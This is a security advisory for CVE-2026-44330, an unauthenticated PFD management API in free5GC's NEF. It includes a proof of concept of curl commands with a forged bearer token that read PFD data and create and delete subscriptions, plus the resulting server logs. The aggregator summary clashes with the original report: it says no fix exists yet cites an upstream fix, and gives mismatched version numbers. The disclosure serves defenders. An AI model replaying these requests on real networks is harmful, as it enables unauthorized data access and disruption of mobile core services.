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10.0

CVE-2026-44330: free5GC's NEF nnef-pfdmanagement API is unauthenticated; attackers can read data and create subscriptions

GHSA-rwww-x45w-p52w CVE-2026-44330
Summary

The free5GC's NEF nnef-pfdmanagement API does not require a valid login token, allowing an attacker to read sensitive data and create or delete subscriptions. This is a security issue that affects the free5GC's NEF, and it is recommended to update to a version that fixes this problem. Operators should check their OAuth2 settings to ensure that they are properly configured to protect this API.

What to do

No fix is available yet. Check with your software vendor for updates.

Affected software
Ecosystem VendorProductAffected versions
go github.com free5gc <= 1.2.3
Original title
free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions
Original description
### Summary
free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not.

### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.0`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-11

NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.

Code evidence (paths in `free5gc/nef`):
- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56`
- Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13`
- Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13`
- `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19`
- `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53`
- `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83`
- `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110`
- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`

### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.

1. Seed an AF context (also forged-token):
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
```

2. Seed one PFD application entry (also forged-token):
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
```

3. READ PFD collection with forged token -> `200 OK` returns PFD data:
```
curl -i -H 'Authorization: Bearer not-a-real-token' \
'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
```

4. READ individual PFD with forged token -> `200 OK`:
```
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
```

5. CREATE PFD subscription with forged token -> `201 Created`:
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
```

6. DELETE PFD subscription with forged token -> `204 No Content`:
```
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
```

NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes:
```
[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1
```

### Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:
- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.
- Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.

The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/862
Upstream fix: https://github.com/free5gc/nef/pull/23
ghsa CVSS3.1 10.0
Vulnerability type
CWE-863 Incorrect Authorization
Published: 8 May 2026 · Updated: 29 May 2026 · First seen: 8 May 2026